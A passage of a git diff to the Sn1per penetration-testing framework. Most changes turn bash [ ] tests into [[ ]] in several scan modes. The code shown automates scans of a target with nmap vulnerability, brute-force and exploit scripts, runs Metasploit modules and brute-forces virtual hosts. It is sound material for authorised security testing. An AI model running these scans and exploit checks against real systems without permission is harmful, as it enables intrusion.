-v --data-length=50 --script=/usr/share/nmap/scripts/vulners -p $DEFAULT_UDP_PORTS -oX $LOOT_DIR/nmap/nmap-$TARGET-fullport-udp.xml $TARGET | tee $LOOT_DIR/nmap/nmap-$TARGET-udp sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null rm -f $LOOT_DIR/nmap/nmap-$TARGET 2> /dev/null HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null) - if [ ${#HOST_UP} -ge 2 ]; then + if [[ ${#HOST_UP} -ge 2 ]]; then echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null fi sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null @@ -33,10 +33,10 @@ else for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt done - if [ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt" fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per full portscan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi fi \ No newline at end of file diff --git a/modes/massportscan.sh b/modes/massportscan.sh index ee5aafa..4f40d92 100644 --- a/modes/massportscan.sh +++ b/modes/massportscan.sh @@ -1,14 +1,14 @@ # MASSWEB MODE ##################################################################################################### -if [ "$MODE" = "massportscan" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "massportscan" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then for a in `cat $FILE`; do - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -46,10 +46,10 @@ if [ "$MODE" = "massportscan" ]; then echo -e "$OKRED | ||. | | | ||| |||||" echo -e "$OKRED __________________________________________________________" echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -61,10 +61,10 @@ if [ "$MODE" = "massportscan" ]; then args="" done fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/massvulnscan.sh b/modes/massvulnscan.sh index a121afc..a2b0fe7 100644 --- a/modes/massvulnscan.sh +++ b/modes/massvulnscan.sh @@ -1,14 +1,14 @@ # MASSWEB MODE ##################################################################################################### -if [ "$MODE" = "massvulnscan" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "massvulnscan" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then for a in `cat $FILE`; do - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -46,10 +46,10 @@ if [ "$MODE" = "massvulnscan" ]; then echo -e "$OKRED | ||. | | | ||| |||||" echo -e "$OKRED __________________________________________________________" echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -61,10 +61,10 @@ if [ "$MODE" = "massvulnscan" ]; then args="" done fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/massweb.sh b/modes/massweb.sh index 1fed2e2..54caef0 100644 --- a/modes/massweb.sh +++ b/modes/massweb.sh @@ -1,14 +1,14 @@ # MASSWEB MODE ##################################################################################################### -if [ "$MODE" = "massweb" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "massweb" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then for a in `cat $FILE`; do - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -46,10 +46,10 @@ if [ "$MODE" = "massweb" ]; then echo -e "$OKRED | ||. | | | ||| |||||" echo -e "$OKRED __________________________________________________________" echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -61,10 +61,10 @@ if [ "$MODE" = "massweb" ]; then args="" done fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/masswebscan.sh b/modes/masswebscan.sh index 9945ced..fe7837e 100644 --- a/modes/masswebscan.sh +++ b/modes/masswebscan.sh @@ -1,14 +1,14 @@ # MASSWEB MODE ##################################################################################################### -if [ "$MODE" = "massweb" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "massweb" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then for a in `cat $FILE`; do - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -46,10 +46,10 @@ if [ "$MODE" = "massweb" ]; then echo -e "$OKRED | ||. | | | ||| |||||" echo -e "$OKRED __________________________________________________________" echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -61,10 +61,10 @@ if [ "$MODE" = "massweb" ]; then args="" done fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/normal.sh b/modes/normal.sh index ed9d2c9..fc806cc 100644 --- a/modes/normal.sh +++ b/modes/normal.sh @@ -1,25 +1,25 @@ # NORMAL SCAN ##################################################################################################### -if [ "$REPORT" = "1" ]; then +if [[ "$REPORT" = "1" ]]; then args="-t $TARGET" - if [ "$OSINT" = "1" ]; then + if [[ "$OSINT" = "1" ]]; then args="$args -o" fi - if [ "$AUTOBRUTE" = "1" ]; then + if [[ "$AUTOBRUTE" = "1" ]]; then args="$args -b" fi - if [ "$FULLNMAPSCAN" = "1" ]; then + if [[ "$FULLNMAPSCAN" = "1" ]]; then args="$args -fp" fi - if [ "$RECON" = "1" ]; then + if [[ "$RECON" = "1" ]]; then args="$args -re" fi - if [ "$MODE" = "port" ]; then + if [[ "$MODE" = "port" ]]; then args="$args -m port" fi - if [ ! -z "$PORT" ]; then + if [[ ! -z "$PORT" ]]; then args="$args -p $PORT" fi - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" fi args="$args --noreport" @@ -27,7 +27,7 @@ if [ "$REPORT" = "1" ]; then echo "$TARGET normal `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-normal.txt echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-normal.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [normal] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -45,7 +45,7 @@ echo -e "$OKORANGE + -- --=[https://xerosecurity.com" echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz" echo -e "$RESET" -if [ ! -z $WORKSPACE ]; then +if [[ ! -z $WORKSPACE ]]; then LOOT_DIR=$WORKSPACE_DIR fi @@ -58,7 +58,7 @@ dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null host $TARGET 2> /dev/null | grep address 2> /dev/null | awk '{print $4}' 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null dnsenum -f $INSTALL_DIR/wordlists/vhosts.txt --noreverse $TARGET 2> /dev/null -mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null +mv -f *_ips.txt $LOOT_DIR/ips/ 2>/dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" @@ -77,24 +77,24 @@ echo "" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" -if [ "$MODE" == "web" ]; then - nmap -sV -Pn -p 80,443 --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | sed -r "s/\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null$RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null$RESET" fi @@ -393,7 +393,7 @@ else echo -e "$OKRED DISPLAYING SITE LINKS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET.txt 2> /dev/null - if [ "$WAFWOOF" = "1" ]; then + if [[ "$WAFWOOF" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR WAF $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -402,7 +402,7 @@ else rm -f $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null echo "" fi - if [ "$WHATWEB" = "1" ]; then + if [[ "$WHATWEB" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -410,7 +410,7 @@ else sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http.raw > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null rm -f $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null fi - if [ "$WIG" = "1" ]; then + if [[ "$WIG" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SERVER INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -418,7 +418,7 @@ else sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null rm -f $LOOT_DIR/web/wig-$TARGET-http 2> /dev/null fi - if [ "$WEBTECH" = "1" ]; then + if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -427,28 +427,28 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCANNING FOR VIRTUAL HOSTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VHOSTS" == "1" ]; then + if [[ "$VHOSTS" == "1" ]]; then gobuster vhost -u http://$TARGET -w $INSTALL_DIR/wordlists/vhosts.txt -o $LOOT_DIR/osint/vhosts-http-$TARGET.txt 2> /dev/null fi - if [ "$NMAP_SCRIPTS" == "1" ]; then + if [[ "$NMAP_SCRIPTS" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -Pn -p 80 -sV -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-bigip-cookie,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-jsonp-detection,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-trane-info,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port80 + nmap -A -Pn -p 80 -sV -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-bigip-cookie,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-jsonp-detection,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-trane-info,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port80 sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port80.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port80 2> /dev/null fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $CUTYCAPT = "1" ]; then - if [ $DISTRO == "blackarch" ]; then + if [[ $CUTYCAPT = "1" ]]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null else cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null fi fi - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 fi @@ -456,25 +456,25 @@ else source $INSTALL_DIR/modes/osint_stage_2.sh fi -if [ -z "$port_110" ]; +if [[ -z "$port_110" ]]; then echo -e "$OKRED + -- --=[Port 110 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 110 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -v --script-timeout 90 --script=pop*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 110 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port110.txt + nmap -A -sV -v --script-timeout 90 --script=pop*,/usr/share/nmap/scripts/vulners -p 110 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port110.txt fi fi -if [ -z "$port_111" ]; +if [[ -z "$port_111" ]]; then echo -e "$OKRED + -- --=[Port 111 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 111 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -482,7 +482,7 @@ else sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port111-nfsmount.raw > $LOOT_DIR/output/msf-$TARGET-port111-nfsmount.txt 2> /dev/null rm -f $LOOT_DIR/output/msf-$TARGET-port111-nfsmount.raw 2> /dev/null fi - if [ "$SHOW_MOUNT" = "1" ]; then + if [[ "$SHOW_MOUNT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING SHOW MOUNT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -492,37 +492,37 @@ else fi fi -if [ -z "$port_123" ]; +if [[ -z "$port_123" ]]; then echo -e "$OKRED + -- --=[Port 123 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 123 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sU -sV -Pn -v --script-timeout 90 --script=ntp-*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 123 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port123.txt + nmap -A -sU -sV -Pn -v --script-timeout 90 --script=ntp-*,/usr/share/nmap/scripts/vulners -p 123 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port123.txt fi fi -if [ -z "$port_135" ]; +if [[ -z "$port_135" ]]; then echo -e "$OKRED + -- --=[Port 135 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 135 opened... running tests...$RESET" - if [ "$RPC_INFO" = "1" ]; then + if [[ "$RPC_INFO" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING RPCINFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" rpcinfo -p $TARGET | tee $LOOT_DIR/output/rpcinfo-$TARGET-port135.txt fi - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e 